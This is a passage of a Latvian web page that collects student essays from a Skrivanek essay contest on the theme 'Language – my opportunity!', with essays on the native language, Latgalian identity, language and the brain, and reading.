necilākajiem pasaules kustoņiem, bet tomēr mums piemīt vara pār visu dzīvo mums apkārt. Var nepiekrist, neticēt un samulst, bet mums ir dota lielākā dāvana. Kāds varbūt nepacietībā iesauktos “Tas ir saprāts! ”, bet es teikšu, ka tā ir valoda. Un te nav vietas bailēm par kritiku vai nepiekrišanu, jo ja mums piešķir varu pār pasauli saprāts, tad es vēlētos jautāt – Bet kā mēs domājam? Savas pārdomas liekot esejas vārdos, varu apgalvot tikai vienu! Bez vārdiem nav domu, bez domām nav saprāta. Tātad bez valodas nav cilvēka, kas saprātīgs. Dzimtā valoda ir tā, kura vada mūsu domas, sapņus, fantāzijas un idejas. Tas ir kaut kas tik unikāls, ka spēj dāvāt varu pār pasauli! Bet kā? Sen senos laikos satikt svešinieku bija dzīvības vai nāves jautājums. Bija vajadzīgs saprast, kurš ir draugs bet kurš ienaidnieks. Cilvēks nav spējīgs pareģot nākotni. Grūti saprast turpmākās sekas. Šāda neskaidrība ieviesa bailes, neuzticību, dažkārt pat nevajadzīgu izvairīšanos. Ļaudis dzīvoja nelielās ģimeņu kopienās. Bet drīzumā viss mainījās. Ieradās, tas kas izkliedēja bailes. Valoda bija atbilde uz bailēm un nedrošību. Tas bija, kā tilts, kas vienoja svešos, tas bija tilts, kas deva iespēju atzīt svešo kā draugu. Vai tā ir prātam aptverama fantāzija, kā mainītos mūsu sadarbība un uzticība, ja mēs visi zaudētu vienotu valodu? Es baidos, ka ikdienā mēs aizmirstām par valodas vērtību, ka mēs to padarām par ko pierastu un pašsaprotamu. Bet tagad līdz ar plašāku vienotu dzimto valodu mēs neesam klejotāju ģimenes, bet gan valstis ar savu godu un lepnumu. Valstis, kas apvieno nebijušu spēku – ļaužu, kuri ir spējīgi dalīties uzticībā, darbos un atklājumos. Un šie kopīgie atklājumi nevar būt izsmejami. Katru dienu top iespēja padarīt cilvēka mūžu ilgāku un laimīgāku. Dažādi sasniegumi zinātnē, kas uzlabo praktisko dzīvi. Dažādi sasniegumi kultūrā, kas sātina dvēseli. Un tas joprojām būs un turpināsies kamēr mums būs kopīga valoda. Valoda ir cilvēka dāvana, ko viņš sadzird savas dzīves piektajā mēnesī. Valoda ir dāvana, ko cilvēks sāk apgūt mūža pirmajos gados. Valoda ir dāvana, kas deva mums iespēju būt saprātīgiem, veidot kopienu. Valoda ir galvenais cēlonis, kāpēc pasaule pieder mums-cilvēkiem, bet kas notiek tagad ir tikai mūsu rokās. Cik skaļi un tāli būs dzirdami mūsu vārdi. Kāda nākotne ir citām valodām un kāds liktenis būs mūsējai dzimtajai valodai. Viss ir vienmēr mūsu – cilvēku rokās. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/elenas-vaskas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Elena Vaska, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Valoda, tāpat kā valsts karogs, ir reprezentācijas rīks, un tā plašākā nozīmē ir unikāla, tāpēc zinātnieku bieži pētīta, lai turpinātu izzināt tās ietekmes sfēras un nozīmību. Dzīvās valodas turpina attīstīties un mainīties atkarībā no tendencēm pasaulē ar mērķi uzlabot starp personu komunikāciju un radītu pēc iespējas vienotāku izpratni par terminiem, tādejādi mazinot nesaprašanās un konfliktu iespējas. Vēsturiski Bībelē rakstīts, ka pēc grēku plūdiem, Dievs sadusmojies uz cilvēkiem un sajaucis to vienvalodību, lai tie vairs nespētu saprasties savā starpā. Šobrīd pasaulē datētas aptuveni 7100 dzīvās valodas, pie kam baltu valodas tiek uzskatītas par vissenākajām Eiropā, tāpēc tajās labi saglabātas pirmatnējās skaņas un formas. Latviešu valoda ir viena no trīs indoeiropiešu saimes baltu valodām: austrumbaltu valodas – latviešu un lietuviešu, rietumbaltu – mirusī (sen)prūšu valoda. Latviešu valodā uzsvars tiek likts uz pirmās zilbes, ko saista ar lībiešu ietekmi, un kā oficiālā valsts valoda Latvijā ir no 1918. gada, kurā 20. gadsimtā runāja 1. 5 miljoni cilvēku. Valodai ir 3 dialekti un 33 burti alfabētā, turklāt tā joprojām attīstās - līdz ar to ir dzīva un mainīga. Valsts valodas centrs turpina ieviest oficiālus jaunvārdus, cenšoties adaptēt valodu mainīgai pasaulei, vienlaicīgi ievērojot valodas likumus. Arī jaunieši, varbūt ne visai veiksmīgi no latviešu valodas tīrības viedokļa, savā ikdienas komunikācijā iepin angļu jaunvārdus, mēģinot tos pielāgot latviešu gramatikai - kā piemēri minami vārdi: vaitot, vaitosiet (gaidīt), storiji (stāsti), bleimot (vainot) u. c. Tas varētu radīt nesaprašanos ar tiem līdzcilvēkiem, kas šos terminus angliski nepārzin, līdz ar to var novest līdz neveiksmīgai komunikācijai un pat konfliktiem. Maks Planks un Alfrēds Anvanders 2023. gada pētījumā aplūko, cik dažādi smadzenes veido aktivitāšu tīklojumu dažādu valodu gadījumos, un, jo biežāk, agrīnāk lieto valodu, jo spēcīgāks šis tīklojums kļūst – uzsvars uz dzimto valodu, kas iemācīta bērnībā. Pierādīts, ka viens mēnesis jaunas valodas apguvē maina pusložu iesaistīšanos, radot cita veida mijiedarbības, ar ko izskaidro valodu mācīšanās iespēju. Turklāt jo radniecīgākas valodas, jo vieglāk iespējams atrast līdzības smadzeņu tīklojumā, līdz ar to uzlabot to apguvi. Natālija Mesa, 2023. gada 3. februāra science. org rakstā, norāda, ka dzimtajai valodai mūsu smadzenēs ir īpaša vieta, pat ja cilvēks runā 10 valodās. Pētījums vēsta, ka smadzeņu aktivitāte ir atkarīga no tā, cik labi mēs atpazīstam valodu: "jo pazīstamāka valoda, jo lielāka smadzeņu atbildes reakcija", kā izņēmumu izceļot dzimto valodu, kurā smadzeņu aktivitāte ir mazāka par nezināmu valodu. Tas norāda uz to, ka cilvēkam nepieciešama mazāka piepūle, lai lietotu agrāk iemācīto valodu, kā arī uz komforta valodas lietojuma ērtumu. Savukārt izmantojot mazāk resursus, iespējams saglabāt uzmanību, enerģijas resursus kam citam, tā kā nav nepieciešams koncentrēties uz nezināmas valodas interpretāciju. Jau agrāk veikti pētījumi liecina, ka smadzeņu izmantošana - mācīšanās procesā, tai skaitā valodas apgūšanā – ir ieguldījums savas kognitīvās veselības uzturēšanā. Tas strādā kā profilakse tādām saslimšanām kā demence, jo smadzenes, tāpat kā mūsu organisma muskuļi, ilgāk tiek “uzturētas formā”, tās regulāri lietojot. To visu apkopojot, var secināt, cik nozīmīga loma cilvēka dzīvē ir valodai. Dzimtā valoda man ir iespēja saglabāt savu identitāti, kā arī pārstāvēt savu valsti, nacionalitāti un kultūru, izceļot to, ka, lai gan Latvija ir maza valsts, mums ir sava valoda. Uzturot komunikāciju starp tautiešiem, tā ir iespēja neļaut valodai pazust, nomirt, taču, izmantojot jaunvārdus vai slengus, var rasties pārpratumi vai nesaprašanās, kas varētu novest pie neveiksmīgas komunikācijas. Valoda turklāt ir lieliska iespēja attīstīties un saglabāt veselīgu kognitīvo funkciju, kā arī apgūstot papildus valodas, zināšanas iespējams izmantot mācību procesā, lai palielinātu informācijas iegūšanas avotus, kas varētu nebūt tulkoti latviešu valodā. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/katrinas-busas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Katrīna Buša, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pretēji lietus lāsei, kas, iekrītot jūrā, zaudē savu būtību, valoda uzņem spēku no katra runātāja, kas nes to tālāk plašajā pasaulē. Valoda ir dāvana, tā dzimusi, lai vienotu ne tikai tautas, bet vienkārši līdzīgi domājošos. Iemācīties jaunu valodu ir kā iegūt vēl vienu dvēseli, kas bagātina tevi kā cilvēku un personību. Pasaulē valodu tik daudz, taču ir kāda, kurā runā ikkatrs no mums – ķermeņa valoda. Nevainīgs žests un dzīve paver tik daudz iespēju. . Patiess smaids un mana diena ir kļuvusi labāka. . Cilvēki ne vienmēr pateiks, ko domā, taču vienmēr man to parādīs. Kāpēc es to nesapratu agrāk? Lieliskai komunikācijai svarīgi dzirdēt to, kas netiek pateikts. Kad iemācies lasīt starp rindiņām, pēkšņi viss kļūst skaidrs, un atbildes atrod pašas sevi. Tad nonāku dilemmā, es varu izvēlēties – pateikt visu un nezināt, vai tiešām esmu saprasta, vai parādīt nepateikto un pierādīt sev, ka viena kustība atklāj vairāk nekā vārdi jebkad spēs. Vienmēr izmanto iespēju paklusēt, dzīvi jāpavada kopā ar īstajiem cilvēkiem! Jābeidz stādīt rozes tajos dārzos, kuros tās nekad netiks aplietas! Valoda dod šo iespēju, man tikai jāiemācās to izmantot. Tomēr viena valoda vienmēr mīļāka par visām citām, tā ir dzimtā valoda, kas ļāvusi man iepazīt pasauli, kurā dzīvoju, tieši tādu, kāda tā ir. To iepazinu jau agrā bērnībā, kad, tikko atverot acis un pirmo reizi ieraugot mammu, viņa man teica: “Es tevi ļoti mīlu! ”. Tā ir mana mīlestības valoda, es mīlu katru, kas to ciena un godā, katru, kas dāvā tai spēku un ļauj dzīvot mūžīgi. Kad runāju dzimtajā valodā, apvienojas sirds, prāts un vārdi, es runāju emocijās, tā es redzu šo pasauli - latviski. Miljons domu, kas ikdienu skrien caur manu galvu, sapņi, jūtas un cerības ir dzimtajā valodā. Viņa liek man justies droši, es vienmēr varu būt es pati, runājot tajā. Man vienmēr bail runāt svešā valodā, jo tā nekad nebūs manējā, es noteikti runāšu savādi, tomēr ziniet – akcents ir drosmes pazīme! Es radu iespējas ar valodas spēku! Tās liek apzināties, ka tas, kā dzīvoju es, nav vienīgais veids! Valoda ir iespēja ikvienam, tomēr tikai es esmu tā, kas ar tās palīdzību var mainīt savu dzīvi. Gan ķermeņa valoda, gan dzimtā valoda ir manā pamatā, es nebūtu es, ja tās man nebūtu. Mans laiks ir tagad! Šodien ir mana iespēja uzbūvēt rītdienu tādu, kādu es to vēlos! Un tieši valodā būs tā, kas spēs atvērt visas durvis. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/lauras-laizanes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Laura Laizāne, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Muna asinsgrupa i DNS kods līcynoj, ka asu latgalīte, kas tān ir mainiejuse sovu dzeivis vītu i muocuos saglobōt sovpateibu Reigys raibajā publikā. Rēzekne ir vīta, nu kurys asmu gōjuse tuoļuok pasaulē, lai vuiceitūs, struoduotu, maklātu, krystu i pīsacaltu, tycātu i carātu i golu golā ari daruodeitu, ka muna latgalīšu volūda ir sūrme, a na traucieklis voi kauna īmeslis. Volūdas golvonō miseja – sasazynōšonys i sasaprasšonys leidzeklis, i gimines tradicejom ir svareiga nūzeime, kaidu volūdu lītoj bārni. Bīži munu paziņu i draugu vydā ir vārojama teņdeņce – vacuoki poši sovā storpā sasarunoj latgalīšu volūdā, a puornūvadnīku volūdā lauzeidamīs runoj ar sovim bārnim. Maņ lykuos, ka ituos ačgōrneibys pamatā ir mozvērteibys komplekss: latgaliskais ir nycynojams, a koč kura cyta volūda (latvīšu, krīvu voi vēļ lobōk – angļu) ir glaunuoka. Deļ tam smīkleigs līkās babeņis aicynuojums unukam: “Aizej līdz ābelnīcai un atnes tos garšīgos ābolus! ” Kur uobeļneicas pareizīs tulkojums byutu 'ābele'. Tūmār vacuoki kod nakod tū pamatoj cytaiž: lai bārnim vīgluok vuiceitīs školā, lai nasajauc latgalīšu volūda pa vydam. As dūmoju, ka giminē vuiceitai muotis (latgalīšu) volūdai ir daudz leluoka dalyktuo vierteiba nakai školā nūvoda muoceibys stundēs. Man līkās, ka saimis saitys ir stypruokys tī, kur vysas audzes sovā storpā runoj latgalīšu volūdā. Kod muna baba soka: “Kuo stuovi kai dzāslons? ” voi “. . taida kai vuška”, ir skaidrs – babai švaks goreigīs. Juosatur pa gobolu. A kod paškiņkoj kū garšeigu – vyss kuorteibā. I vēļ vīns vāruojums: naasu satykuse nivīnu latgalīšu volūdas zynuotuoju, kuram tei byutu trauciejuse vuiceitīs latvīšu izrunu. Volūda ir arī kulturys, sovys identitatis pazeime. As jyutūs gudruoka par latvīšim, ka saprūtu taidus vōrdus kai sukneite, veļums, besakūks, nui, vasars, pyune, sipisnīks, apleik ... i daudzus cytus, kū školā vuicēja saukt par apvydvuordim. Ir labi klauseitīs “Bez PVN” dzīsmu “Šaļti”, laseit V. Lukaševiča “Casnāgu maizeitis” voi L. Purinašas “Pierobežas”, vērtīs J. Streiča “Cylvāka bārnu” voi V. Kairiša “Pilsētu pie upes” i saprast gon tekstu, gon raksturus, gon reiceibys motivus, nūskaņu, par tū ka tei ir poša svareiguokō steiga – muna byuteiba, muns gors, muna volūda. I sokit, kū gribit, “Pi Dīveņa gari goldi” i P. Jurciņa “Vuolyudzeite” latgaliski skaņ lobōk. Taipat kai navar puortulkuot latvīšu tautysdzīsmys cytuos volūduos, taipat teksti latgalīšu volūdā vyslobuok paruoda volūdys daudzveideibu i niansis. Koč voi prosts vaicuojums - tu esi nu sātys voi dvora – jau nūruoda iz dzeivis voi dzymtū vītu. Ogruok as kauniejūs, ka kaids latvīts ar puoruokuma smaidu pasamanie aizruodeit: “Tu, meitenīt, izklausās, esi no Latgales. ” Tādyn soku: “Da, zynoma līta, ka nu Latgolys. I navaru īsadūmuot lobōku vītu, kur pīdzimt. ” Vēl vīna zeimeiga latgalīšu volūdys zynōšonys i lītuošonys privilegeja Reigā (laikim traucieklis) ir tei, ka tys cylvāks ir īvāruots, jam pīvārsta leluoka uzmaneiba. As bīži, ejūt voi braucūt tramvajā iz sātu nu dorba, runoju ar mamu pa telefonu (prūtams, latgaliski). Vairuokys reizis man pavysam sveši ļauds ir sacejušs: “Cik patīkami ir dzirdēt kādu runājam latgaliski! ” Na reizi ir gadiejīs Reigā sajimt atlaidis slimneicā, poliklinikā, zooduorzā voi kafejneicā par tū, ka dzierd runojam latgalīšu volūdā. Taida pateikama kūpeibys i atbolsta sajyuta. Tūmār laikim leidz ar latgaliskū teik izlykts zamuoka socialuo statusa štempeļs. Dorba intervejuos man ir juobyut golvys tīsu puoruokai par latvīšim, par tū ka ir uzskots, ka latgalīši ir taidi sprostuoki (švakā nūzeimī) ļauds. Vīsmīleigi, atsauceigi, sirsneigi, bet ... sprosti. Nūbeigumā gribu pastreipuot, ka latgalīšu volūda nav nu tuom lelajoum volūduom, kas paver lelys i spieceigys komunikacejis, dorba voi ceļuošonys vareibys, tei nav volūda, kuru nūzeimeigi varātu īspaiduot karjerys īspiejys. Tok tys ir gūda i atbiļdeibys jautuojums – naaizalīgt i nūvērteit tū boguoteibu, privilegeju, kas myusim ir dūta nu Dīva. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/maijas-grosas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Maija Grosa, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pasaulē ir apmēram seši līdz septiņi tūkstoši valodu. Viena sīciņa daļa starp visām ir mana dzimtā valoda- latviešu valoda. Tieši šis valodas sīkums dara mani tik ārkārtīgi lepnu. Lepnu būt latvietei, domāt un runāt savā valodā, nest sevī latviskā kodu, lepoties ar savu kodolu. Nebūs par skaļi teikts, ja apgalvošu, ka dzīvojam gadsimtā, kurā augstā vērtē tiek celts mākslīgums, labprātīga savas identitātes zaudēšana. Jebkurš drīkst un ir jebkas. Sieviete ir vīrietis, bērns ir pieaugušais, platas, vienveidīgas drēbes, rozā pūdeļi un bezpajumtnieks Pradas kurpēs. Cilvēce sasniegusi augšu. Šis ilgi mērotais vertikālais ceļš uz augšu nu nonācis pie griestiem. Finišs. Zilās ilgu puķes nav. Bēdīgi, bet fakts. Var palikt augšā, cieši piekļauties griestiem un kopā ar līdzīgi domājošajiem, turēties tik ilgi līdz kopā sajaucoties visām krāsām un domām, kļūt par lielo, pelēko masu, kas kādā brīdī žļurkstēdama veļas citas modes virzienā. Vai arī aizvērt acis un ļauties. Krist lejā, atgriezties pie saknēm, pie sava pirmsākuma- latvieša parastā. Sajust sevi, sajust neredzamos pavedienus, kas saista mūs gadsimtiem ilgi. Starp pelēkiem krāsu putekļiem atrast savu kodolu. To atvērt nav viegli. Par ilgi tas ticis apaudzēts ar viltotām vērtībām un svešzemju prasībām. Un tajā pašā laikā, tas ir tik viegli! Nostāties plaukstošā bērzu birzī, aizvērt acis un klusām nodungot “Saule aust” vai pavērties latviešu dārgumu lādē- Dainu skapī. Bagātības, kurām piekļūt varam tik mēs, latvieši. Lai zog, lai laupa svešzemju bandnieki, neviens, kam nav latvieša koda, šīm bagātībām nepiekļūt! Pasaule allaž bijusi kontrastu pilna. Pirmajā acumirklī šķiet, ka tajā valda tik liela dažādība, ka to varētu salīdzināt ar haosu. Sniegs Ziemeļpolā, nesaskaitāma dzīvnieku un augu daudzveidība tropu mežos, saules pielietas smiltis tuksnesī. Kas gan vieno šo tik dažādo? Kā blakus ,uz salīdzinoši nelielas planētas, tik harmoniski spēj pastāvēt šīs lielās atšķirības? Un atbilde ir- sava vieta un uzdevums. Pasaules šķietamais haoss ir kārtība. Vai leduslācis spēs izdzīvot Sahāras tuksnesī? Bet tropu skaistulis- tauriņš Somijas ziemā? Mums ir dota spēja pielāgoties, vairāk vai mazāk, bet, lai dzīvotu sevis labāko versiju, pasaules puzlē savs gabaliņš jāieliek īstajā vietā. Liela daļa cilvēku zina vismaz trīs līdz piecas valodas. Uzskatu, ka, jo vairāk valodas pārzinām, jo bagātāki esam. Valodu barjera nereti ir milzīgs šķērslis, lai pilnvērtīgi izdarītu iecerēto. Valodu pārzināšanas bagātību varam audzēt visa mūža garumā un pats lieliskākais ir tas, ka to nav iespējams atņemt. Ar šo bagātību palīdzību nereti iespējams iegūt mīlestību, draugus, dažkārt arī labāku veselību, dārgumus, ko nevar nopirkt par visām zelta monētām kopā saliekot. Apzinoties savas valodas vērtību, savu mazās latviešu tautas un valodas lietotāju pulku, mēs varam dāvāt pasaulei savu pienesumu. Tikai latvietim un latviešu valodai piederošu redzējumu un zināšanas, kas papildina un dara pilnīgāku pasaules haosa kārtību. Es esmu latviete. Tas ir mans kodols. Latviešu valoda ir mans kods ar kuru atveru sevi, savu patieso es, sevis vislabāko versiju, kura pildīta ar senču izlietajām asinīm un sāpēm, uzvarām un svētlaimes mirkļiem zem šalcošām priedēm kāpās, bezgala rāmiem mirkļiem sulīgās mežmalas pļavās lasot saules pielietas meža zemenes, Dziesmu svētkos silti uzsmaidot biedriem no Anglijas kora, jo mēs esam neredzamām saitēm sieti. Mēs esam latvieši. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2024-09-24 - URL: https://skrivanek.lv/paulas-sonitas-derumas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Paula Sonita Deruma, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Daudzi mūsdienu jaunieši, prātojot par valodu nozīmi savā dzīvē, galvenokārt saskata plašo iespēju loku, ko sniedz svešvalodu, it sevišķi angļu valodas, pārvaldīšana augstā līmenī, jo cilvēkam, kurš zina valodas, visas durvis uz pasauli ir vaļā – viņš var doties gan izzinošos, gan izpriecu braucienos, kā arī darba un draugu meklējumos uz citām valstīm. Viesojoties neskaitāmu pilsētu muzejos, izstāžu zālēs, operās un teātros, iespējams izzināt kultūras pasaules plašos apvāršņus. Tomēr uzskatu, ka vispirms ir izcili jāpārvalda sava dzimtā valoda, sava tēva un mātes mēle, jāatklāj savas tautas kultūras vēsture, vismaz kādu reizi uz savas ādas jāizbauda senās latvju tradīcijas, jāiepazīst ne tikai literatūras, mākslas, kino un mūzikas klasika, bet arī jāredz, ka latviešu tautas radošums joprojām turpina attīstīties – top jaunas grāmatas, filmas, mākslas darbi un dziesmas. Dzimtajai valodai – latviešu valodai manā dzīvē īpaša nozīme bijusi jau no agras bērnības. Četru gadu vecumā vecmāmiņa mani sāka ievadīt plašajā rakstīto tekstu pasaulē, mācot atšķirt burtus, vēlāk arī rādot, kā tie sadraudzējas un kopā pārtop zilbēs, vārdos, teikumos, tekstos. Jau no piecu gadu vecuma kļuvu par lasītāju bibliotēkā – protams, vispirms aizrāvos ar krāsainajām, maziem bērniem domātajām bilžu grāmatām, no vienas tādas nespēju atvadīties ļoti ilgi; tā bija īpaši sāpīga šķiršanās trīs mēnešu garumā ar pieckārtēju grāmatas nodošanas termiņa pagarināšanu. Šī bilžu grāmata ar kustīgajiem attēliem atmiņā iespiedusies tik cieši, ka joprojām varu citēt atsevišķas tās rindas. Kad mācījos sākumskolā, ne tikai no zaļiem papīra rimbuļiem izveidoju klasē garāko un lokanāko grāmatu tārpu (ik pāris dienu kādu daiļdarbu – iesieto lapu apkopojumu – biju apēdusi gluži kā dabā redzamie tārpiņi notiesā kokos un krūmos esošās lapas), bet arī saņēmu rajona bibliotēkas diplomu, kurā vēstīts, ka esmu visčaklākā lasītāja. Bērnībā arī pati izmēģināju gan rakstnieces, gan žurnālistes lomu – ar zīmuli, vēlāk pildspalvu rakstīju dzejolīšus, stāstiņus par kaķīšiem, zaķīšiem un bērnudārzu, atdarināju žurnāla “Zīlīte” veidotājus. Pamatskolā un vidusskolā turpināju lasīt grāmatas un rakstīt stāstus, kā arī savas radošās rakstīšanas spējas izmēģināju, piedaloties konkursos, bet prasmes analizēt mākslinieciskus tekstus, ievietot pieturzīmes un rakstīt pārspriedumus pārbaudīju, ar citiem valodas izcilniekiem sacenšoties skolas, pilsētas un valsts latviešu valodas un literatūras olimpiādēs. Tā kā gan valsts olimpiādēs, gan zinātniskās pētniecības darbu konferences valodniecības sekcijā saņēmu diplomus, divas vasaras pēc kārtas man bija izcila iespēja piedalīties jauno literātu nometnē “(IZ)Aicinājums”, tādejādi pilnveidojot savas prasmes galvā ieskrējušās domas ietērpt vārdos un pēcāk pārvērst rakstītā tekstā. Tagad es – kaķīšu un zaķīšu draudzības aprakstītāja, klases garākā zaļā grāmatu tārpiņa īpašniece, meitene, kas vidusskolā pētījusi jauniešu latviešu valodas kvalitāti, divus gadus pēc kārtas ieguvusi 2. vietu valsts latviešu valodas un literatūras olimpiādē, kā arī divās vasarās vairāk nekā nedēļu klausījusies “(IZ)Aicinājuma” lekcijas, lai pavisam īsu brīdi vēlāk rakstītu savus aptuveni lapu garos garadarbus, – esmu studente. Turpinu dzīvot plašajā dzimtās valodas pasaulē, arvien vairāk iepazīstot valodas pasaules karaļus Tekstus, karaļbērnus – Nodaļas, Rindkopas, Teikumus, Vārdus –, kā arī rakstītos likumus mīlošos pavalstniekus – Pieturzīmes, Morfēmas, Burtus –, nerakstīto likumu pielūdzējas – Zilbes un Skaņas. Gluži tāpat kā reālajā dzīvē un pasakās liela nozīme ir ne tikai valdniekiem, bet arī iedzīvotājiem, kas likumus ievēro, arī valodas pasaulē svarīgi ir ne tikai rakstnieki un valodnieki, bet arī ikviens pareizrakstības un pareizrunas likumu ievērotājs. Tāpēc jau otro gadu studēju par latviešu valodas un literatūras skolotāju, kā arī bērnu un jauniešu centrā pusaudžus arvien dziļāk vilinu iekšā radošās rakstīšanas pasaulē. Neilgu laiku arī mazākumtautību skolas ķipariem palīdzu spert pirmos soļus latviešu valodas pasaulē, jo valoda un tās likumi jāzina ikvienam, kurš attiecīgajā valstī dzīvo. Jā, arī, ja es nestudētu un nestrādātu latviešu valodas jomā, dzimtās valodas likumi man tāpat būtu jāievēro, turklāt ne tikai akadēmiskajā un darba vidē. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/violetas-lisovskas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Violeta Lisovska, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Jau kopš seniem laikiem ir bijusi nepieciešamība pēc valodas. Šo vajadzību ir radījusi vēlme dalīties savās domās, sajūtās un idejās tā, lai citi varētu saprast. Tā no vēlmes socializēties radās tik daudzpusīgs jēdziens kā valoda, bez kuras nav iedomājama cilvēces pastāvēšana. Valoda galvenokārt ir izzināšanas veids. Mums jau no bērnības tiek mācīta valoda, lai iepazītu apkārtējo pasauli. Stāstīt un parādīt - tā ir ğimene, tās ir rotaļlietas, un tas ir kaimiņu suns, kuru labāk neaiztikt, pretējā gadījumā tas iekodīs. Ar valodas palīdzību bērns mācās nosaukt priekšmetus, atpazīt un saprast to mērķi. Vēlāk šīs prasmes attīstās, un vārdu kopums pārvēršas teikumos, bet teikumi par skaidri formulētu domu, kas dod iespēju sazināties ar citiem un tos saprast. Valoda ir īpašs progresa dzinējspēks. Tieši tā palīdz dalīties ar ārkārtējām idejām, jauniem atklājumiem un paplašināt uztveres horizontu. Ieraksti, diagrammas, shēmas, zīmējumi, grafiki arī ir valoda, kurai zinātnē ir īpašs mērķis. Pateicoties tai, zinātnieki var dalīties zināšanās ar citiem un attīstīt sabiedrību. Valoda ir vēsture. Tajā ir gan pašas tautas, gan tās kultūras attīstības stāsts. Valoda vieno cilvēkus, padara tos garīgi tuvākus viens otram. Ar cilvēku, ar kuru runā vienā valodā, vienmēr ir īpaša saikne. Valoda ir katras tautas pazīme, kas padara to unikālu un īpašu. Valoda ir emocijas. Mēs savas jūtas saucam ar vārdiem, saprotam citu jūtas un piešķiram tām noteiktu nokrāsu. Ikviens saprot, ka, runājot par "vilšanos", tas ir negatīvs raksturs, bet, kad runa ir par "priecinājumu", tas ir pozitīvs. Mēs dalamies emocijās ar valodu - atzīstamies mīlestībā, sūdzamies, apvainojamies vai priecājamies. Valoda ir iespēja izpausties, radīt kaut ko jaunu un dot ieguldījumu kultūrā. Pastāstīt pasaulei par sevi, savu dzīvi vai pat par kādu pilnīgi nereālu, izdomātu pasauli. Dzejoļus, noveles, romānus vai jebkuru citu stāstu veidu var izmantot kā iespēju nodot kaut ko intīmu un slepenu. Pastāstīt savu stāstu ar tekstu vai izlikties par kādu, kas tu neesi. Un arī lasot ir iespēja apceļot pasauli, pārvietoties laikā, apgūt maģiskos visumus, pat neizejot no savas istabas. Valoda ir spēks. Ar valodu jūs varat būt līderis un mainīt pasauli uz labo pusi. Vairāku valodu zināšanas sniedz cilvēkam priekšrocības daudzās jomās, padara viņu par pieprasītu speciālistu un paplašina viņa redzesloku. Ir iespēja lasīt tekstus un rakstus oriģinālā, sekot līdzi starptautiskajiem notikumiem un uzzināt informāciju no pirmavota. Mēs arī jūtamies pārliecinātāki par došanos uz svešu valsti, kad zinām tās valodu. Valodas nezināšanas radītā spriedze nemaz neveicina patīkamu laika pavadīšanu un atvaļinājumu - nevaram ne pajautāt ceļu, ne lūgt palīdzību, ne pirkt pārtiku veikalā. Valoda ir mūsu dzīves neatņemama sastāvdaļa. Tā ir ieausta mūsu ikdienā, tāpēc mēs sākam mazāk domāt par tās vērtību. Katram ir jāciena un jāsaglabā sava dzimtā valoda un tā jānodod nākamajām pāaudzēm. Valoda dzīvo cilvēkos - kamēr cilvēki turpinās runāt un lietot savu dzimto valodu, tā dzīvos. Mīlestība un cieņa pret dzimto runu tiek ieaudzināta jau no bērnības, tāpēc tas ir jāiemāca bērnam. Jāpaskaidro viņam, ka valoda nav tikai sarežģīta zīmju sistēma, vārdi vai grūti gramatikas noteikumi. Valoda ir dzīve, vēsture, mantojums, māksla, jūtas un visa pārējā daudzveidība. Tad cilvēki patiešām iemācās saprast un mīlēt savu valodu, kas pretī pavērs cilvēkam nezināmas robežas un iespējas. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/dartas-andersones-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Dārta Andersone, Liepājas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Domājot par savām iespējām, vienādojuma centrā nešaubīgi liekama valoda. Ne jau kura katra, bet gan dzimtā latviešu valoda. Senāk es to nemaz neapjautu, vien intuitīvi sajutu kaut kur dziļi savā būtībā. Kad pabeidzu skolu, apkārtējā pasaule korī pauda nostāju, ka tagad ir īstais laiks, lai domātu par savas artavas pievienošanu sabiedrības kopējā katlā. Ko gan tāds apmulsis vidusskolnieks zina par pienākumu? Galvenais, ka saule silda pakausi un aiz loga vītero melnais meža strazds. Ilgi domāju, bet nesapratu, kas īsti darāms tālāk. Kādu vakaru spēja apskaidrība pārlija pār ķermeni kā silta gaisma – es taču neesmu tikai zīdītājs, kas elpo un mēģina izdzīvot, es esmu arī cilvēks, kas savu pārdzīvojumu spēj artikulēt sarežģītā zīmju sistēmā. Todien šķita, vasaras vidū ir uzplaucis otrais pavasaris. Tas bija arī vakars, kad tapa mans pirmais un apzinātais dzejolis. Ceļš mani aizveda uz Baltu filoloģiju, kur stingras rokas pavadībā apjautu literatūras nozīmi ne tikai savā, bet arī visas cilvēces eksistencē. Trīs gadu laikā no vienkārša patērētāja kļuvu par literatūrzinātnieku. Izrādās, ka uz papīra drukātā valoda nav tikai izklaides rīks, bet gan palielināmais stikls, kas, pareizā leņķī uzlūkots, atklāj visu neglīto, visu skaisto, visu svarīgo un visu nenozīmīgo. Studiju process bija kā svaiga gaisa elpa – sarežģītie termini pēkšņi guva jēgu lielajā kopbildē. Cik organiski man izdevās valodā rast savu identitāti! Ar kaislīgu interesi sāku risināt sociāli nozīmīgus jautājumus, pievērsos feminismam un sievietes ķermeniskumam tekstā. Apkārtējo iedrošinājums un atzinīgie skatieni mani tikai motivēja turpināt. Braucot uz izlaidumu, autobusā redzēju savu pamatskolas skolotāju. Visai zīmīgi, vismaz man tā šķiet. Viņa nekad nebūtu iedomājusies, ka no kautra bērna pēdējā solā kļūšu par pārliecinātu sievieti un pašmērķīgu pētnieci. 